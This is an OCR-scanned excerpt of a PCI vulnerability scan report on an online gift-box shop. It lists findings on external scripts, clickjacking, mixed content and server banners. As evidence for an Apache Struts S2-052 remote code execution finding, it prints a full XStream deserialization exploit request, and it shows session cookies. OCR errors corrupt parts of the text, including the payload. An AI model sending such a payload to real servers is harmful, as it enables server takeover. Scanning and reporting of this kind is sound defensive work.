User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.s1776441978$01$g1$t1776442076$j29%I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GAl.
2.1435567823.1776441978; PHPSESSID=754tvvpggm8cb2d91rtokoqgfo7

location: https://www.spreengs.com/Check-out/shoppingcart

Content Analyzer port 443/https
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2021-13131
Category: Information

CVE ID: -

Vendor Reference: -

Last Update: 2021-09-25 21:47:49.0
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THREAT:
Content Analyzer detects technologies by analyzing the HTTP request and response.

SOLUTION:
N/A

EVIDENCE:
DetectionDetails: [{"name":"PHP","slug":"php","categories":[{"id":27,"slug":"programming-languages"”,"name":"Programming languages","priority":5}],"confidence":100,"

version":"5.6.40","icon":"PHP.svg","website":"http://php.net","cpe":"cpe:/a:php:php"},{"name":"Apache","slug":"apache","categories":[{"id":22,"slug":"web-servers","name":"
slug™:"

Web servers","priority":8}],"confidence":100,"version™:"","icon":"Apache.svg","website":"http://apache.org","cpe":"cpe:/a:apache:http_server"},{"name":"jQuery",

jquery”,"categories™:[{"id":59,"slug":"javascript-libraries","name":"JavaScript libraries","priority":9}],"confidence":100,"version":"","icon":"jQuery.svg","website":"https://jquery.

com","cpe":"cpe:/a:jquery:jquery"},{"name":"Google Analytics","slug":"google-analytics","categories":[{"id":10,"slug":"analytics","name":"Analytics","priority":9}],"confidence":

100,"version™:"","icon":"Google Analytics.svg","website":"http://google.com/analytics”,"cpe":null}]

Request: GET https://www.spreengs.com/ HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978%01$g0$t1776441978%$j60$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GAl.
2.1435567823.1776441978; PHPSESSID=754tvvpggm8ch2d91rtokogfo7

location: https://www.spreengs.com/

Embedded links or code from out-of-scope domains port 443/https
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0329
Category: Integrity

CVE ID: -

Vendor Reference: -
Last Update: 2019-05-03 01:34:35.0

THREAT:

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains
can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of
sensitive information to 3rd parties.

SOLUTION:
If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web
server.

EVIDENCE:
DetectionDetails: Following External Links Found:
<script type="text/javascript" src="//code.jquery.com/jquery-2.1.4.js"></script>
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<script src="https://pitchprint.io/rsc/js/client.js"></script>

<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.11.2/jquery-ui.js"></script>
<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">

</script>

Request: GET https://www.spreengs.com/large-white-video-box HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_S5NFFSRM1X5=GS2.2.51776441978%$01$g1$t1776442160%$j27$l0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GALl.
2.1435567823.1776441978; PHPSESSID=754tvwpgqgm8cb2d91rtokogfo?

location: https://www.spreengs.com/large-white-video-box

No Clickjacking Protection present port 443/https
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 31

Severity: low

SLID: SLID-2017-0655
Category: Exposed Data
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-25 21:14:33.0

THREAT:

This page does not utilize the benefits that the X-FRAME-OPTIONS or Content-Security-Policy: frame-ancestors HTTP header elements offer. These headers should be
implemented to prevent the page from being used in part of a click-jacking scenario. The headers specify which systems (if any) are allowed to embed the current page
within an HTML frame.

SOLUTION:

Add Clickjacking protection with one of the following response headers: X-Frame-Options or Content-Security-Policy with frame-ancestors directive.

EVIDENCE:
DetectionDetails: Page is vulnerable to Clickjacking.
No X-Frame-Options header detected or is misconfigured

This issue is found on multiple pages:
Displaying the first (10/141) items

GET https://www.spreengs.com/
Missing X-Frame-Options header

GET https://www.spreengs.com/create-your-own
Missing X-Frame-Options header
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GET https://www.spreengs.com/medium-white-video-box-with-flap
Missing X-Frame-Options header

GET https://lwww.spreengs.com/medium-pink-leather-box
Missing X-Frame-Options header

GET https://www.spreengs.com/small-pink-leather-box
Missing X-Frame-Options header

GET https://www.spreengs.com/page/video_greeting_card%7Cblank_card/88
Missing X-Frame-Options header

GET https://www.spreengs.com/page/video_greeting_card%7Cupload_card/87
Missing X-Frame-Options header

GET https://www.spreengs.com/Check-out/shoppingcart
Missing X-Frame-Options header

GET https://www.spreengs.com/Check-out/shippingaddress
Missing X-Frame-Options header

GET https://www.spreengs.com/the-magnet
Missing X-Frame-Options header

Request: GET https://www.spreengs.com/ HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978$01$g0$t1776441978$j60$10$h0; _gat=1; gid=GA1.2.1509268829.1776441978; _ga=GAl.
2.1435567823.1776441978; PHPSESSID=754tvwpqqm8cb2d91rtokogfo?

location: https://www.spreengs.com/

Embedded links or code from out-of-scope domains
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0329
Category: Integrity

CVE ID: -

Vendor Reference: -
Last Update: 2019-05-03 01:34:35.0

port 443/https
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THREAT:

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains
can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of
sensitive information to 3rd parties.

SOLUTION:
If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web
server.

EVIDENCE:

DetectionDetails: Following External Links Found:

<script type="text/javascript" src="//code.jquery.com/jquery-2.1.4.js"></script>

<script src="https://pitchprint.io/rsc/js/client.js"></script>

<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.11.2/jquery-ui.js"></script>
<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">

</script>

Request: GET https://www.spreengs.com/medium-white-video-box-with-flap HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978%01$91$t1776442003$j35$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GA1l.
2.1435567823.1776441978; PHPSESSID=754tvvpggm8ch2d91rtokogfo7

location: https://www.spreengs.com/medium-white-video-box-with-flap

Apache Struts Remote Code Execution (S2-052) port 443/https
PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 8.1

Severity: high

SLID: SLID-2017-0559
Category: Code Execution
CVE ID: CVE-2017-9805

Vendor Reference:

Last Update:

THREAT:

2018-11-07 19:06:16.0

The detected Apache Struts application is vulnerable to a Remote Code Execution attack. A remote attacker would be able to execute arbitrary code on the server by

sending a specially crafted HTTP request to the server. This issue can be exploited by an attacker if the application uses the Struts REST plugin with XStream handler to

deserialize XML requests.

SOLUTION:

Upgrade to Apache Struts version 2.5.13 or 2.3.34.
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EVIDENCE:
DetectionDetails: Web Server Vulnerability found for CVE-2017-9805

Request: POST https://www.spreengs.com/create-your-own HTTP/1.1
Accept: */*
Content-Type: application/xml

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

<dataHandler>

<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlIDataSource">

<is class="javax.crypto.CipherlnputStream">

<cipher class="javax.crypto.NullCipher">

<initialized>false</initialized>

<opmode>0</opmode>

<servicelterator class="javax.imageio.spi.Filterlterator">

<iter class="javax.imageio.spi.Filterlterator">

<iter class="java.util.Collections$Emptylterator"/>

<next class="com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImpl" serialization="custom">
<com.sun.org.apache.xalan.internal.xsltc.trax. Templatesimpl>

<default>

<__name>Pwnr</__name>

<__ bytecodes>
<byte-array>yv66vgAAADIAMwWOAAWAIBWAXBWAIBWAMAQAQc2VyaWFsVmVyc2lvblVIRAEAAU0BAA1Db25zdGFu
dFZhbHVIBa0gk/OR3e8+AQAGPGluaXQ+AQADKCIWAQAEQ29kZQEADOXpbmVOdW1iZXJUYWJISZQEA
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdAHViVHIhbnNSZXRQY XIsh2FKAQAMSW5uZXJD
bGFzc2VzAQA1THIzb3NIcmlhbCOwY XIsb2Fkcy91dGlsLOdhZGdIdHMkU3R1YIRyYW5zbGVOUGF5
bG9hZDsBAAIOcmFuc2ZvemOBAHIoTGNvbS9zdW4vb3InL2FwYWNo0ZS94YWxhbi9pbnRIcm5hbC94
¢c2x0Yy9ET007WO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NIcmlihbGI6ZXIvU2Vy
aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs
YW4vaW50ZXJuYWwveHNsdGMVREINOWEACGhhbmRsZXJzAQBCWO0xjb20vc3VuL29yZy9hcGFjaGUv
eG1sL2ludGVybmFsL3NIcmlhbGI6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZX17AQAKRXhjZXB0aW9u
cWCAIWEAPIhMY29tL3N1bi9vemcvYXBhY2hIL3hhbGFuL2ludGVybmFsL3hzbHRjLORPTTtMY 29t
L3N1bi9vecmcvYXBhY 2hIL3htbC9pbnRIcm5hbC9kdGOVRFRNQXhpc0l0ZXJhdG9yO0xjb20vec3Vu
L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NIcmlhbGI6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7
KVYBAAhpdGVyYXRvcgEANUXjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2RObS9EVE1B
eGlzSXRIcmF0Ob317AQAHaGFuZGxIcgEAQUxjb20ve3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs
L3NIcmlhbGI6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNIRmIsZQEADEdhZGdIdHMu
amF2YQwWACQgALBWA0AQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViIVHIhbnNs
ZXRQYXIsbh2FKAQBAY29tL3N1bi9vemcevYXBhY2hIL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp
bWUvQWJIzdHJIhY3RUcmFuc2xIdAEAFGphdmEvaw8avU2VyaWFsaXphYmxIAQA5Y29tL3N1bi9vemcv
YXBhY2hIL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGVORXhjZXB0aW9uAQAfeXNvc2VyaWFs
L3BheWxvYWRzL3V0aWwvR2FkZ2V0OcwEACDXxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA
BXNsZWVwWAQAEKEopVgwALAAtCgArAC4BAALTdGFja01lhcFRhYmxIAQAeeXNvc2VyaWFsL1B3bmVy
MTY3MTMxNTc4NjQ1ODKOAQAgGTHIzb3NIcmlhbC9Qd25IcjE2NzEzZMTU30ODYONTg5NDSAIQACAAMA
AQAEAAEAGYAFAAYAAQAHAAAAAGAIAAQAAQAKAASAAQAMAAAALWABAAEAAAAFKICAADEAAAACAADA
AAAGAAEAAAAUAALAAAAAMAAEAAAAFAABAMgAAAAEAEWAUAAIADAAAADBAAAADAAAAADEAAAACAADA
AAAGAAEAAAAZAAAAAAAGAAMAAAABAABAMIAAAAAAAQAVABYAAQAAAAEAFWAYAAIAGQAAAAQAAQAA
AAEAEWADAAIADAAAAEKAAAAEAAAAADEAAAACAAOAAAAGAAEAAAAIAALAAAAGAAQAAAABAABAMOAA
AAAAAQAVABYAAQAAAAEAHAAJAAIAAAABABAAHWADABKAAAAEAAEAGYAIACKACWABAAWAAAAIAAMA
AgAAAAZNAAMBTBENEIWAAC+XAAAAAQAWAAAAAWABAWACACAAAAACACEAEQAAAACAAQACACMAEAAJ
</byte-array>
<byte-array>yv66vgAAADIAGWOAAWAVBWAXBWAYBWAZAQAQc2VyaWFsVmVyc2lvblIVIRAEAAUoOBAA1Db25zdGFu
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dFZhbHVIBXHmMae48bUcYAQAGPGIuaXQ+AQADKCIWAQAEQ29kZQEADOXpbmVOdW1iZXJUYWJISZQEA
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxIbm5IckNsYXNzZXMBACVMeXNvc2Vy
aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNIRmIsZQEADEdhZGdIdHMuamF2
YQWACgALBwWAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh
bmcvT2IgZWNOAQAUamF2Y S9pby9TZXJIpYWxpemFibGUBAB95¢c29zZXJpYWwvcGF5bG9hZHMvAXRp
bCO9HYWRNZXRzACEAAgADAAEABAABABOABQAGAAEABWAAAAIACAABAAEACYALAAEADAAAACBAAQAB
AAAABSQ3AAGXAAAAAGANAAAABgGABAAAAOWAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA
AAOAAQACABYAEAAJ</byte-array>

</__bytecodes>

<__transletindex>-1</__transletindex>

<__indentNumber>0</__indentNumber>

</default>

<boolean>false</boolean>

</com.sun.org.apache.xalan.internal.xsltc.trax. Templatesimpl>

</next>

<fiter>

<filter class="javax.imageio.ImagelO$ContainsFilter">

<method>

<class>com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImpl</class>
<name>newTransformer</name>

<parameter-types/>

</method>

<name>foo</name>

<ffilter>

<next class="string">foo</next>

</servicelterator>

<lock/>

</cipher>

<input class="java.lang.ProcessBuilder$NulllnputStream"/>

<ibuffer/>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<datalLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>

<entry>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>

</map>

location: https://www.spreengs.com/create-your-own

Embedded links or code from out-of-scope domains

port 443/https
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PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0329

Category: Integrity

CVE ID: -

Vendor Reference: -

Last Update: 2019-05-03 01:34:35.0
THREAT:

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains
can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of
sensitive information to 3rd parties.

SOLUTION:

If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web
server.

EVIDENCE:

DetectionDetails: Following External Links Found:

<script type="text/javascript" src="//code.jquery.com/jquery-2.1.4.js"></script>

<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.11.2/jquery-ui.js"></script>
<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">

</script>

Request: GET https://www.spreengs.com/small-pink-leather-box HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978%01$g1$t1776442055%$j50$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GAl.
2.1435567823.1776441978; PHPSESSID=754tvvpggm8ch2d91rtokogfo7

location: https://www.spreengs.com/small-pink-leather-box

Mixed Content port 443/https
PCI COMPLIANCE STATUS

PCI Severity Level:
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VULNERABILITY DETAILS

CVSS Base Score: 6.5

Severity: medium

SLID: SLID-2024-0825

Category: Application Vulnerability

CVE ID: -

Vendor Reference: -

Last Update: 2024-03-11 22:13:58.0
THREAT:

Mixed content describes the situation where a page is served over HTTPS, but the page itself includes content served over HTTP. The encrypted content from HTTPS is
mixed with unencrypted content from HTTP. As a result, this leaves the page open for sniffers and man-in-the-middle attacks. There are two types of mixed content:
passive/display and active content. Passive content refers to HTTP content that does not interact with the page such as <img> (src attribute), <audio> (src attribute), and
<video> (src attribute). Active content encompasses resources that has access to all or parts of the Document Object Model of the HTTPS page. Some examples of
active content include <script> (src attribute), <link> (href attribute), and <iframe> (src attribute) elements. The difference between these two content types becomes
apparent in their worst case scenarios where content is rewritten as part of a man-in-the-middle attack. Compromised passive content could entail misleading content or
result in the user's cookies getting stolen. On the other hand, compromised active content could result in phishing, sensitive data disclosure, redirection to malicious sites,
etc. The potential for exploit is much more extensive for active content compared to passive content. Currently most browsers prevent mixed active content from loading
and some even block mixed passive content.

SOLUTION:
Remove all HTTP content and replace with content served over HTTPS.

EVIDENCE:
DetectionDetails: Mixed Content found

This issue is found on multiple pages:
Displaying the first (10/233) items

GET https://www.spreengs.com/

<a href="http://www.spreengs.com/support"><em>FAQs</em></a>

<a href="http://www.spreengs.com/create-your-own"><img style="float: left; padding: 10px 15px;" src="https://spreengs.com/uploads/files/home-blocks/design-icon.jpg"
alt="" width="103" height="104"></a>

<a href="http://www.spreengs.com/video-greeting-card/you-card-it"><img style="float: left; padding: 10px 15px;" src="https://spreengs.com/uploads/files/home-blocks/you-
cardit-icon.jpg" alt="" width="103" height="104"></a>

<a href="http://www.pim.tv" target="_blank">more...</a>

<a href="http://www.spreengs.com/corporate/made-in-the-usa"> <img style="float: left; padding: 10px 15pXx;" src="https://spreengs.com/uploads/files/home-blocks
/madeusa.jpg" alt="" width="103" height="104"></a>

<a target="_blank" href="http://www.pinterest.com"> <img src="/uploads/files/social-icons/pinterest-icon.png" alt="Pinterest"></a>

<a target="_blank" href="http://www.youtube.com/spreengs/"> <img src="/uploads/files/social-icons/youtube-icon.png" alt="YouTube"></a>

<a target="_blank" href="http://www.plus.google.com"> <img src="/uploads/files/social-icons/google-icon.png" alt="Google +"></a>

<a target="_blank" href="http://www.linkedin.com"> <img src="/uploads/files/social-icons/linkedin-icon.png" alt="LinkedIn"></a>

<atarget="_blank" href="http://www.twitter.com/spreengs/"> <img src="/uploads/files/social-icons/twitter-icon.png" alt="Twitter"></a>

GET https://www.spreengs.com/create-your-own

<a target="_blank" href="http://www.pinterest.com"> <img src="/uploads/files/social-icons/pinterest-icon.png" alt="Pinterest"></a>

<a target="_blank" href="http://www.youtube.com/spreengs/"> <img src="/uploads/files/social-icons/youtube-icon.png" alt="YouTube"></a>
<a target="_blank" href="http://www.plus.google.com"> <img src="/uploads/files/social-icons/google-icon.png" alt="Google +"></a>

<a target="_blank" href="http://www.linkedin.com"> <img src="/uploads/files/social-icons/linkedin-icon.png" alt="LinkedIn"></a>

<a target="_blank" href="http://www.twitter.com/spreengs/"> <img src="/uploads/files/social-icons/twitter-icon.png" alt="Twitter"></a>

GET https://www.spreengs.com/medium-white-video-box-with-flap
<atarget="_blank" href="http://www.pim.tv/">www.pim.tv</a>
<a target="_blank" href="http://www.pinterest.com"> <img src="/uploads/files/social-icons/pinterest-icon.png" alt="Pinterest"></a>
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<a target="_blank" href="http://www.youtube.com/spreengs/"> <img src="/uploads/files/social-icons/youtube-icon.png" alt="YouTube"></a>
<a target="_blank" href="http://www.plus.google.com"> <img src="/uploads/files/social-icons/google-icon.png" alt="Google +"></a>

<a target="_blank" href="http://www.linkedin.com"> <img src="/uploads/files/social-icons/linkedin-icon.png" alt="LinkedIn"></a>
<atarget="_blank" href="http://www.twitter.com/spreengs/"> <img src="/uploads/files/social-icons/twitter-icon.png" alt="Twitter"></a>

GET https://lwww.spreengs.com/medium-pink-leather-box

<atarget="_blank" href="http://www.pim.tv">www.pim.tv</a>

<a target="_blank" href="http://www.pinterest.com"> <img src="/uploads/files/social-icons/pinterest-icon.png" alt="Pinterest"></a>

<a target="_blank" href="http://www.youtube.com/spreengs/"> <img src="/uploads/files/social-icons/youtube-icon.png" alt="YouTube"></a>
<a target="_blank" href="http://www.plus.google.com"> <img src="/uploads/files/social-icons/google-icon.png" alt="Google +"></a>

<a target="_blank" href="http://www.linkedin.com"> <img src="/uploads/files/social-icons/linkedin-icon.png" alt="LinkedIn"></a>

<a target="_blank" href="http://www.twitter.com/spreengs/"> <img src="/uploads/files/social-icons/twitter-icon.png" alt="Twitter"></a>

GET https://www.spreengs.com/small-pink-leather-box

<atarget="_blank" href="http://www.pim.tv">www.pim.tv</a>

<a target="_blank" href="http://www.pinterest.com"> <img src="/uploads/files/social-icons/pinterest-icon.png" alt="Pinterest"></a>

<a target="_blank" href="http://www.youtube.com/spreengs/"> <img src="/uploads/files/social-icons/youtube-icon.png" alt="YouTube"></a>
<a target="_blank" href="http://www.plus.google.com"> <img src="/uploads/files/social-icons/google-icon.png" alt="Google +"></a>

<a target="_blank" href="http://www.linkedin.com"> <img src="/uploads/files/social-icons/linkedin-icon.png" alt="LinkedIn"></a>

<a target="_blank" href="http://www.twitter.com/spreengs/"> <img src="/uploads/files/social-icons/twitter-icon.png" alt="Twitter"></a>

GET https://www.spreengs.com/Check-out/shoppingcart

<a target="_blank" href="http://www.pinterest.com"> <img src="/uploads/files/social-icons/pinterest-icon.png" alt="Pinterest"></a>

<a target="_blank" href="http://www.youtube.com/spreengs/"> <img src="/uploads/files/social-icons/youtube-icon.png" alt="YouTube"></a>
<a target="_blank" href="http://www.plus.google.com"> <img src="/uploads/files/social-icons/google-icon.png" alt="Google +"></a>

<a target="_blank" href="http://www.linkedin.com"> <img src="/uploads/files/social-icons/linkedin-icon.png" alt="LinkedIn"></a>

<a target="_blank" href="http://www.twitter.com/spreengs/"> <img src="/uploads/files/social-icons/twitter-icon.png" alt="Twitter"></a>

GET https://www.spreengs.com/Check-out/shippingaddress

<a target="_blank" href="http://www.pinterest.com"> <img src="/uploads/files/social-icons/pinterest-icon.png" alt="Pinterest"></a>

<a target="_blank" href="http://www.youtube.com/spreengs/"> <img src="/uploads/files/social-icons/youtube-icon.png" alt="YouTube"></a>
<a target="_blank" href="http://www.plus.google.com"> <img src="/uploads/files/social-icons/google-icon.png" alt="Google +"></a>

<a target="_blank" href="http://www.linkedin.com"> <img src="/uploads/files/social-icons/linkedin-icon.png" alt="LinkedIn"></a>

<a target="_blank" href="http://www.twitter.com/spreengs/"> <img src="/uploads/files/social-icons/twitter-icon.png" alt="Twitter"></a>

GET https://www.spreengs.com/the-magnet

<a style="outline: none; color: rgh(0, 102, 255) limportant; text-decoration: underline; font-family: Arial, Helvetica, sans-serif; font-size: 14px;" href="http://www.pim.tv/"
target="_blank">www.pim.tv</a>

<a target="_blank" href="http://www.pinterest.com"> <img src="/uploads/files/social-icons/pinterest-icon.png" alt="Pinterest"></a>

<a target="_blank" href="http://www.youtube.com/spreengs/"> <img src="/uploads/files/social-icons/youtube-icon.png" alt="YouTube"></a>

<a target="_blank" href="http://www.plus.google.com"> <img src="/uploads/files/social-icons/google-icon.png" alt="Google +"></a>

<a target="_blank" href="http://www.linkedin.com"> <img src="/uploads/files/social-icons/linkedin-icon.png" alt="LinkedIn"></a>

<a target="_blank" href="http://www.twitter.com/spreengs/"> <img src="/uploads/files/social-icons/twitter-icon.png" alt="Twitter"></a>

GET https://lwww.spreengs.com/large-white-video-box

<atarget="_blank" href="http://www.pim.tv/">www.pim.tv</a>

<a target="_blank" href="http://www.pinterest.com"> <img src="/uploads/files/social-icons/pinterest-icon.png" alt="Pinterest"></a>

<a target="_blank" href="http://www.youtube.com/spreengs/"> <img src="/uploads/files/social-icons/youtube-icon.png" alt="YouTube"></a>
<a target="_blank" href="http://www.plus.google.com"> <img src="/uploads/files/social-icons/google-icon.png" alt="Google +"></a>

<a target="_blank" href="http://www.linkedin.com"> <img src="/uploads/files/social-icons/linkedin-icon.png" alt="LinkedIn"></a>

<a target="_blank" href="http://www.twitter.com/spreengs/"> <img src="/uploads/files/social-icons/twitter-icon.png" alt="Twitter"></a>

GET https://www.spreengs.com/the-pocket-size

<atarget="_blank" href="http://www.pim.tv/">www.pim.tv</a>

<a target="_blank" href="http://www.pinterest.com"> <img src="/uploads/files/social-icons/pinterest-icon.png" alt="Pinterest"></a>

<a target="_blank" href="http://www.youtube.com/spreengs/"> <img src="/uploads/files/social-icons/youtube-icon.png" alt="YouTube"></a>
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<a target="_blank" href="http://www.plus.google.com"> <img src="/uploads/files/social-icons/google-icon.png" alt="Google +"></a>
<a target="_blank" href="http://www.linkedin.com"> <img src="/uploads/files/social-icons/linkedin-icon.png" alt="LinkedIn"></a>
<a target="_blank" href="http://www.twitter.com/spreengs/"> <img src="/uploads/files/social-icons/twitter-icon.png" alt="Twitter"></a>

Request: GET https://www.spreengs.com/ HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978$01$g0$t1776441978$j60$10$h0; _gat=1; gid=GA1.2.1509268829.1776441978; _ga=GAl.
2.1435567823.1776441978; PHPSESSID=754tvwpgqgm8cb2d91rtokogfo?

location: https://www.spreengs.com/

Embedded links or code from out-of-scope domains port 443/https
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0329

Category: Integrity

CVE ID: -

Vendor Reference: -

Last Update: 2019-05-03 01:34:35.0
THREAT:

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains
can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of
sensitive information to 3rd parties.

SOLUTION:
If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web
server.

EVIDENCE:

DetectionDetails: Following External Links Found:

<script type="text/javascript" src="//code.jquery.com/jquery-2.1.4.js"></script>

<script src="https://pitchprint.io/rsc/js/client.js"></script>

<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.11.2/jquery-ui.js"></script>
<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">

</script>

Request: GET https://www.spreengs.com/the-magnet HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.5s1776441978%$01$g1$t1776442136%$j51$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GAl.

Sysnet Scanning Management System April 17, 2026 Page 107



PCI Scan Vulnerability Report

2.1435567823.1776441978; PHPSESSID=754tvwpgqm8ch2d91rtokogfo?

location: https://www.spreengs.com/the-magnet

Server Banner Disclosure
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.4

Severity: medium

SLID: SLID-2019-0179

Category: Application Vulnerability

CVE ID: -

Vendor Reference: -

Last Update: 2019-05-10 06:25:11.0
THREAT:

port 443/https

Many times server banner includes a version number of the server or the technology used. Information of known security issues for particular versions of servers are

available on various security forums. Even if such version number is not present, knowing the server or technology may help the attacker to perform more focused

attacks.

SOLUTION:
Always configure the web servers to not disclose more information about the server from the response headers.

EVIDENCE:
DetectionDetails: Found X-Powered-By header disclosed.

This issue is found on multiple pages:
Displaying the first (10/142) items

GET https://www.spreengs.com/
X-Powered-By: PHP/5.6.40

GET https://www.spreengs.com/create-your-own
X-Powered-By: PHP/5.6.40

GET https://www.spreengs.com/medium-white-video-box-with-flap
X-Powered-By: PHP/5.6.40

GET https://www.spreengs.com/medium-pink-leather-box
X-Powered-By: PHP/5.6.40

GET https://www.spreengs.com/small-pink-leather-box
X-Powered-By: PHP/5.6.40
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GET https://www.spreengs.com/page/video_greeting_card%7Cblank_card/88
X-Powered-By: PHP/5.6.40

GET https://www.spreengs.com/page/video_greeting_card%7Cupload_card/87
X-Powered-By: PHP/5.6.40

GET https://www.spreengs.com/Check-out/shoppingcart
X-Powered-By: PHP/5.6.40

